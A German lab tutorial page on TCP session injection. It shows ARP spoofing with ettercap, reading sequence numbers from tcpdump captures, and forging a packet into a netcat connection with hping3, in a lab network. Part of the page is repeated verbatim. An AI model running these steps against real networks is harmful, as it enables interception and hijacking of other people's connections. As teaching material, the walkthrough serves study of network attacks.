Pakete in Verbindung schicken

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Vorraussetzung

Versuchsaufbau

  • CLIENT=10.0.10.103
  • OPFER=10.0.10.104
  • ANGREIFER=10.0.10.101
  • DSTPORT=2020

Angreifer

Auf Angreifer brauchen wir 2 Terminals

Terminal 1

Variablen setzen
  • CLIENT=10.0.10.103
  • OPFER=10.0.10.104
  • ANGREIFER=10.0.10.101
  • DSTPORT=2020
Arp Spoofing
  • ettercap -Tq -i eth0 -M arp /$CLIENT,$OPFER// /$OPFER,$CLIENT//

Terminal 2

Variablen setzen
  • CLIENT=10.0.10.103
  • OPFER=10.0.10.104
  • ANGREIFER=10.0.10.101
  • DSTPORT=2020
TCPDUMP
  • tcpdump -ni eth0 -S host 10.0.10.104 and tcp
Wir suchen SEQ, ACK und SRCPORT

OPFER

  • nc -lp 2020

CLIENT

  • nc 10.0.10.104 2020

ANGREIFER

TERMINAL 2

  • tcpdump -ni eth0 -S host 10.0.10.104 and tcp
  • tcpdump: verbose output suppressed, use -v[v]... for full protocol decode

listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes

15:32:57.007020 IP 10.0.10.103.53730 > 10.0.10.104.2020: Flags [S], seq 1196642424, win 64240, options [mss 1460,sackOK,TS val 783051844 ecr 0,nop,wscale 7], length 0

15:32:57.014293 IP 10.0.10.103.53730 > 10.0.10.104.2020: Flags [S], seq 1196642424, win 64240, options [mss 1460,sackOK,TS val 783051844 ecr 0,nop,wscale 7], length 0

15:32:57.014686 IP 10.0.10.104.2020 > 10.0.10.103.53730: Flags [S.], seq 3707523260, ack 1196642425, win 28960, options [mss 1460,sackOK,TS val 1977650 ecr 783051844,nop,wscale 7], length 0

15:32:57.022274 IP 10.0.10.104.2020 > 10.0.10.103.53730: Flags [S.], seq 3707523260, ack 1196642425, win 28960, options [mss 1460,sackOK,TS val 1977650 ecr 783051844,nop,wscale 7], length 0

15:32:57.022652 IP 10.0.10.103.53730 > 10.0.10.104.2020: Flags [.], ack 3707523261, win 502, options [nop,nop,TS val 783051859 ecr 1977650], length 0

15:32:57.030231 IP 10.0.10.103.53730 > 10.0.10.104.2020: Flags [.], ack 3707523261, win 502, options [nop,nop,TS val 783051859 ecr 1977650], length 0

Wir brechen ab mit CTRL-C
Weitere Variablen setzen

fenster client zwei

client
thomas.will@cardassia ~ $ nc 192.168.244.52  2020

fenster client eins

cardassia ~ # tcpdump -ni lan  -S port 2020
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lan, link-type EN10MB (Ethernet), capture size 65535 bytes
15:26:44.663526 IP 192.168.244.1.58257 > 192.168.244.52.2020: Flags [S], seq 1758983238, win 29200, options [mss 1460,sackOK,TS val 2268763 ecr 0,nop,wscale 7], length 0
15:26:44.663980 IP 192.168.244.52.2020 > 192.168.244.1.58257: Flags [S.], seq 963043879, ack 1758983239, win 28960, options [mss 1460,sackOK,TS val 193210349 ecr 2268763,nop,wscale 7], length 0
15:26:44.664035 IP 192.168.244.1.58257 > 192.168.244.52.2020: Flags [.], ack 963043880, win 229, options [nop,nop,TS val 2268763 ecr 193210349], length 0

fenster client drei

datei erstellen 10 bytes mit Umbruch 

cardassia ~ # echo "hallo tux" > data.dat 
cardassia ~ # hping3 -s 58257  -p 2020 -A -d 10 -E data.dat  -c 1 -M 1758983239 -L 963043880 192.168.244.52

Links

Angreifer

fenster client eins

tcpdump
cardassia ~ # tcpdump -ni lan  -S port 2020
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lan, link-type EN10MB (Ethernet), capture size 65535 bytes

fenster client zwei

client
thomas.will@cardassia ~ $ nc 192.168.244.52  2020

fenster client eins

cardassia ~ # tcpdump -ni lan  -S port 2020
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lan, link-type EN10MB (Ethernet), capture size 65535 bytes
15:26:44.663526 IP 192.168.244.1.58257 > 192.168.244.52.2020: Flags [S], seq 1758983238, win 29200, options [mss 1460,sackOK,TS val 2268763 ecr 0,nop,wscale 7], length 0
15:26:44.663980 IP 192.168.244.52.2020 > 192.168.244.1.58257: Flags [S.], seq 963043879, ack 1758983239, win 28960, options [mss 1460,sackOK,TS val 193210349 ecr 2268763,nop,wscale 7], length 0
15:26:44.664035 IP 192.168.244.1.58257 > 192.168.244.52.2020: Flags [.], ack 963043880, win 229, options [nop,nop,TS val 2268763 ecr 193210349], length 0

fenster client drei

datei erstellen 10 bytes mit Umbruch 

cardassia ~ # echo "hallo tux" > data.dat 
cardassia ~ # hping3 -s 58257  -p 2020 -A -d 10 -E data.dat  -c 1 -M 1758983239 -L 963043880 192.168.244.52

Links

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